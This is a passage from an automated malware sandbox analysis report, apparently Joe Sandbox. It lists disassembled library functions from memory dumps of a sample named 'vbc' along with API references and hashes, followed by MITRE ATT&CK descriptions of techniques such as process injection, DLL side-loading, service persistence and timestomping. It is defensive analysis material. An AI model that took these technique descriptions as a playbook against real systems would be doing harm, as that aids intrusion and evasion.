WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00D546C3
__freea.LIBCMT ref: 00D546D0

Part of subcall function 00D532FA: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 00D5332C

__freea.LIBCMT ref: 00D546D9
__freea.LIBCMT ref: 00D546FE

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 698df1f396da2bea8904455cf12f3969361dbed8d64705e2c0897ff5682954e0
Instruction ID: 76a89ee7510d6bb6bf88afd23dd8eba1d208bb24927589d13020d64ace4d5809
Opcode Fuzzy Hash: 698df1f396da2bea8904455cf12f3969361dbed8d64705e2c0897ff5682954e0
Instruction Fuzzy Hash: D051DE72600216ABEF259E64CC42FEF77A9EB4575AF194228FC04D7180EB34DC98C672

Function 004057B0 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,?,00000001,?,?,?,0040D128,00000001,?,?,?,?,?,0040AF59,?), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Memory Dump Source

Source File: 0000002A.00000002.2612727730.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002A.00000002.2612727730.0000000000411000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000413000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000415000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000422000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000440000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000442000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000444000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000446000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000448000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000459000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000461000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B9000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_400000_vbc.jbxd

Similarity

API ID: _malloc$AllocateHeap
String ID:
API String ID: 680241177-0
Opcode ID: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Function 00D5185B Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D4FDB7), ref: 00D5185F
_free.LIBCMT ref: 00D51892
_free.LIBCMT ref: 00D518BA
SetLastError.KERNEL32(00000000), ref: 00D518C7
SetLastError.KERNEL32(00000000), ref: 00D518D3
_abort.LIBCMT ref: 00D518D9

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: b7a27c4b46560a695bb69038e9be032888963ea972be329fe2c6b487936acdfc
Instruction ID: 9379a8a13df0f2fe860297f5e164dd141d5f5dab13f49a7ff03025da0e6d7443
Opcode Fuzzy Hash: b7a27c4b46560a695bb69038e9be032888963ea972be329fe2c6b487936acdfc
Instruction Fuzzy Hash: 22F06D3A1057107ACE2127396C0AF3A1A569BC2763F284225FD19D6292EE66880E8135

Function 00D53FC2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00D53F73,00000003,?,00D53F13,00000003,00D6DE80,0000000C,00D5403D,00000003,00000002), ref: 00D53FE2
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D53FF5
FreeLibrary.KERNEL32(00000000,?,?,?,00D53F73,00000003,?,00D53F13,00000003,00D6DE80,0000000C,00D5403D,00000003,00000002,00000000), ref: 00D54018

Strings

CorExitProcess, xrefs: 00D53FED
mscoree.dll, xrefs: 00D53FDB

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 28f3adbafb54f5b648f3a6a9099af8aac511fbfb631caa3c32c464b8937a4660
Instruction ID: 5c2fcfc85b42ea021519f1848f3e0d4248e9c742a0361531f5d6fdeb41cf67f9
Opcode Fuzzy Hash: 28f3adbafb54f5b648f3a6a9099af8aac511fbfb631caa3c32c464b8937a4660
Instruction Fuzzy Hash: 33F03130910718ABCB119B98DC0ABADBFB5EB44757F140154ED09E6290DB749A88DAB1

Function 0040BCC2 Relevance: 7.7, APIs: 5, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040BD24
__fileno.LIBCMT ref: 0040BDF9
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Memory Dump Source

Source File: 0000002A.00000002.2612727730.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002A.00000002.2612727730.0000000000411000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000413000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000415000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000422000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000440000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000442000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000444000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000446000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000448000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000459000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000461000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B9000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_400000_vbc.jbxd

Similarity

API ID: _memset$__filbuf__fileno
String ID:
API String ID: 2631233692-0
Opcode ID: cfdfca61e8346366d06349e67fcb671145d18b2bdf778b4aba29dc3d0bc76d03
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: cfdfca61e8346366d06349e67fcb671145d18b2bdf778b4aba29dc3d0bc76d03
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Function 00D518DF Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000008,?,?,00D515D8,00D53CBB,?,00D51D2A,?,?,00000000), ref: 00D518E4
_free.LIBCMT ref: 00D51919
_free.LIBCMT ref: 00D51940
SetLastError.KERNEL32(00000000,?,00D51D2A,?,?,00000000), ref: 00D5194D
SetLastError.KERNEL32(00000000,?,00D51D2A,?,?,00000000), ref: 00D51956

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: cb9d2af8c9f28d0371731f92727597ba473bb0e94511987602d5e00e0e1c2d70
Instruction ID: e713aa662d1571948051dbd7df58d7530999c5fbbf09bfe59712845c7c0e0bd1
Opcode Fuzzy Hash: cb9d2af8c9f28d0371731f92727597ba473bb0e94511987602d5e00e0e1c2d70
Instruction Fuzzy Hash: 4E01D13E2057116B9F1267786C99B3A165DDBC6377B290125FD25E2292FA62CC0E4C31

Function 00D53171 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D53189

Part of subcall function 00D52096: HeapFree.KERNEL32(00000000,00000000,?,00D53208,?,00000000,?,00000000,?,00D5322F,?,00000007,?,?,00D52697,?), ref: 00D520AC
Part of subcall function 00D52096: GetLastError.KERNEL32(?,?,00D53208,?,00000000,?,00000000,?,00D5322F,?,00000007,?,?,00D52697,?,?), ref: 00D520BE

_free.LIBCMT ref: 00D5319B
_free.LIBCMT ref: 00D531AD
_free.LIBCMT ref: 00D531BF
_free.LIBCMT ref: 00D531D1

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ed9cc85b6dfdaa0ce1b920b348cd2dc7aa0774a2a57ba69e0d49d759ad6b6844
Instruction ID: 9eeae7416862dacb5395e81e2b7960ab73f866e28ccc73904d19ca1733ccacf8
Opcode Fuzzy Hash: ed9cc85b6dfdaa0ce1b920b348cd2dc7aa0774a2a57ba69e0d49d759ad6b6844
Instruction Fuzzy Hash: 13F01D72605700AB8E34EB78F986C2A77D9FA057567680809FD4DD7681DB30FD888AB4

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 0000002A.00000002.2612727730.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002A.00000002.2612727730.0000000000411000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000413000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000415000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000422000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000440000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000442000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000444000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000446000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000448000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000459000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000461000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B9000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_400000_vbc.jbxd

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Memory Dump Source

Source File: 0000002A.00000002.2612727730.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002A.00000002.2612727730.0000000000411000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000413000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000415000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000422000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000440000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000442000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000444000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000446000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000448000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000459000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000461000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B9000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_400000_vbc.jbxd

Similarity

API ID: __fileno__flsbuf__flush__locking
String ID:
API String ID: 2259706978-0
Opcode ID: 1f130242422820d6b56c00bacb6d27fe4196c5af8236d3277c2b4106ec58e935
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: 1f130242422820d6b56c00bacb6d27fe4196c5af8236d3277c2b4106ec58e935
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Function 00D534FF Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000100,?,00000000,?,?,00000000), ref: 00D5354C
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00D535D5
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00D535E7
__freea.LIBCMT ref: 00D535F0

Part of subcall function 00D532FA: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 00D5332C

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: a65efded8fe7990546a89360bbcec618cf25ea541e76dcc50e1569cbc99b3a11
Instruction ID: c751427d496c836acc4bf2048e54e430d6d76026098d346969cb18b41deb796e
Opcode Fuzzy Hash: a65efded8fe7990546a89360bbcec618cf25ea541e76dcc50e1569cbc99b3a11
Instruction Fuzzy Hash: A231BE72A0021AABDF259F64DC45DAE7BA5EF40352F094269FC04D7250EB35CE98CBB0

Function 00D5218B Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00D515D8,00000000,00000000,?,00D52132,00D515D8,00000000,00000000,00000000,?,00D52283,00000006,FlsSetValue), ref: 00D521BD
GetLastError.KERNEL32(?,00D52132,00D515D8,00000000,00000000,00000000,?,00D52283,00000006,FlsSetValue,00D66FC4,FlsSetValue,00000000,00000364,?,00D5192D), ref: 00D521C9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00D52132,00D515D8,00000000,00000000,00000000,?,00D52283,00000006,FlsSetValue,00D66FC4,FlsSetValue,00000000), ref: 00D521D7

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: da5077a97ee0fa8db826cbf19b2d2c4dee961be2dc53d3b266ec444967aa25da
Instruction ID: b492f2de31a09033412d4abc1b4813e6a8635cd1824cbcf442aed1436be058a7
Opcode Fuzzy Hash: da5077a97ee0fa8db826cbf19b2d2c4dee961be2dc53d3b266ec444967aa25da
Instruction Fuzzy Hash: 1201A776641B32ABCF214A79EC44E777B98AF47BA3B250620FE55D7240D720D909C6F0

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
